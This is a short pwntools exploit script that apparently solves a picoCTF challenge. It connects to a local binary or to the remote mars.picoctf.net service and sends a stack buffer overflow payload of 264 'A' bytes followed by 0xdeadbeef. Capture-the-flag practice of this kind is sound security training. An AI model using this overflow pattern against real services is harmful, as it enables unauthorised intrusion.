32 lines
562 B
Python
Executable File
32 lines
562 B
Python
Executable File
#!/usr/bin/env nix-shell
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#!nix-shell -i python3 -p python3 python3Packages.pwntools
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from pwn import *
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exe = ELF("chall")
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context.binary = exe
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def conn():
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if args.LOCAL:
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r = process([exe.path])
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if args.DEBUG:
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gdb.attach(r)
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else:
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r = remote("mars.picoctf.net", 31890)
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return r
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def main():
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r = conn()
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# gdb.attach(r, 'break *main+143')
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print(r.recvuntil(b'What do you see?\n'))
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r.sendline((b'A' * 264) + p64(0xdeadbeef))
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print(r.recvall().decode())
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if __name__ == "__main__":
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main()
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